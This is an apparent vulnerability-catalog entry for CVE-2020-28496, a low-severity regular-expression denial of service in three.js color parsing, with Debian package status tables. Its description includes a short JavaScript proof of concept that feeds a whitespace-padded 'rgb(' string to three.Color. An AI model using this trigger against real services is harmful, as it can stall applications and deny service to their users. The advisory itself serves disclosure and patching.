CVE catalog
CVE-2020-28496
three.js: CVE-2020-28496
- Severity
- Low
- Source
- [NVD] · [CVE record]
- EPSS
- 2.52% · Oct 25, 2026
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
Vulnerable and fixed packages
Distribution-reported package versions and fixes. These do not depend on matching against the OpenFactory package catalog.
| Distribution | Package | Release | Version | Status |
|---|---|---|---|---|
| Debian | three.js | sid | 111+dfsg1-5 | not affected |
| Debian | three.js | forky | 111+dfsg1-5 | not affected |
| Debian | three.js | trixie | 111+dfsg1-3 | not affected |
| Debian | three.js | bookworm | 111+dfsg1-3 | not affected |
Fixed-version evidence
| Distribution | Package | Type | Release | Fixed version | Urgency | Origin | Bugs |
|---|---|---|---|---|---|---|---|
| Debian | three.js | source | sid | Not affected | unimportant | Not reported | Not reported |
| Debian | three.js | source | forky | Not affected | unimportant | Not reported | Not reported |
| Debian | three.js | source | trixie | Not affected | unimportant | Not reported | Not reported |
| Debian | three.js | source | bookworm | Not affected | unimportant | Not reported | Not reported |
OpenFactory catalog packages
[Debian 12 (Bookworm)]
- [libjs-three]Not affected
Source package: [three.js]
Details (2)
111+dfsg1-3· all · bookwormNot affected
dsa · three.js · debian · bookworm
111+dfsg1-3· all · bookwormNot affected
dsa · three.js · debian · bookworm
Observed: